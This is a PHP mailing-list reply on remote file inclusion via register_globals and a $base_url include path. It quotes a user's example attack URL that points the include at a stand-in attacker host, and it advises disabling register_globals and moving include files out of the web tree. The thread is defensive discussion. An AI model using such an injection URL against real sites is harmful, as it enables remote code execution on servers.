KJ wrote: > OK, apologies on my part, I did not correctly explian the problem which > can and has arisen from remote includes. > > I'll try to explain the problem that I have come across twice in the > last couple of years both with popular software packages that I > downloaded like thousands of others and both with exactly the same > vunerability and both resulted in my site being comprimised and having > to resort to backups. > > The vunerability occurred where both applications had a variable setting > a base directory of the source code, which was used when including files > throughout the application, i.e.: > > $base_url = '/home/example.com/www'; > include_once ($base_url.'/config.php'); > > In config.php you would then have, for example: > > <?php > include_once ($base_url.'/whatever.php'); > ... > ?> > > Now in each instance register globals was on and all that was needed to You should turn register_globals off, first of all. Secondly, something is very very very wrong in your analysis. If this line of code gets executed: $base_url = '/home/expample.com/www'; then the setting of register_globals can have *NO* effect on $base_url. It is being initialized, as it should, to a correct value, in that line of code. Any GET/POST data being sent in, is junked when that line is executed. Therefore, they must *ALSO* be surfing to a page which does not correctly 'include' the code which sets $base_url in the first place. So, not only do you have register_globals "on" which is a Bad Idea, you've got PHP files in your web tree that they can surf to, bypass your configuration setting of $base_url, and execute code that the Programmer never ever ever intended to be executed out of sequence (IE, without having the code in config.php executed) This is a MUCH BIGGER PROBLEM than remote include working or not. You've *GOT* to get those files *OUT* of the web-tree. The only files that belong in the web tree are those that should be surfed to. If you can't do that, for whatever reason, you may be able to stop those files from being executed outside the context in which they were intended: Convince Apache *not* to execute ".inc" files as PHP, for example. Of course, some well-intentioned, but badly-designed, packages use ".inc.php" to force the execution of "include" files as PHP. As we have seen here, you simply do not *want* that to happen. Executing snippets of code out of the context in which they were programmed is just plain foolhardy. So force any ".inc.php" files to *NOT* be executed by PHP, while leaving ".php" working, of course. Once you have done that, the remote include can't work, because nothing gets executed unless $base_url is properly initialized. If you only shut down remote include, but leave these other issues unaddressed, you're going to be restoring from a backup again sooner or later anyway. You've got huge chunks of code in those packages that the bad guys are executing all out of any sort of order that the Programmer ever even thought about them. It's hard enough to find bugs and security flaws when your code is executed in order: It's IMPOSSIBLE to do so when your source code is thrown in a blender with no lid and the parts the fly out get executed. > comprimise the site was to have a variable passed in the url to set the > base url to a remote site, which in turn output php to execute, i.e.: > > http://example.com/config.php?base_url=http://myhacksite.example.com > > Now, you are correct that education on how to avoid this kind of issue > is key, however that does not avoid the problem. Turning of register > globals would prevent many of these attacks, however there are still > many apps out there that require register globals to be on and there are > other ways to use this exploit with them off. Please explain these other ways, or provide references. Not claiming they don't exist, but unless you identify them as well, there's no way to solve them. Also, if an application requires register_globals on at this point in time, it may be prudent to simply not support the installation of that package. That may seem harsh, even unreasonable, but at some point, it's time for the application developers, who have quite some time now, to make their software well-behaved with register_globals OFF. If they are ignoring this obvious, well-documented, easily fixed issue, then you should be running away screaming from their source code, because who knows what more subtle security issues are lurking in there? > Now all I'm saying is that given the potential for damage and , from my > point of view, the little improvement that this feature actually > provides, why would you NOT have a way of disabling it. I would if I > could, and I know of others who would as well. > > Any thoughts? > PS: If you gave someone that you didn't trust access to your scripts > then you're asking for trouble, that was not my point and was not part > of any kind of thinking towards this request. No, but it is essentially what you have going on: You are installing badly-designed insecure applications, and then trying to make them be secure by addressing only one minor issue in their security flaws. Let's even assume the PHP Development Team agrees with you, and thinks it's a Good Idea to add this directive. Long before the time when that could possibly happen, even in CVS, you could: Move or disable files that should not be executed so they are *NOT* executed. Turn OFF register_globals (on a development server) and begin evaluating which applications are insecure that you need. Then replace them or fix them and turn OFF register_globals on your production server. I appreciate your problems -- I'm just trying to tell you that your solution is like swatting an elephant with a feather. -- Like Music? http://l-i-e.com/artists.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
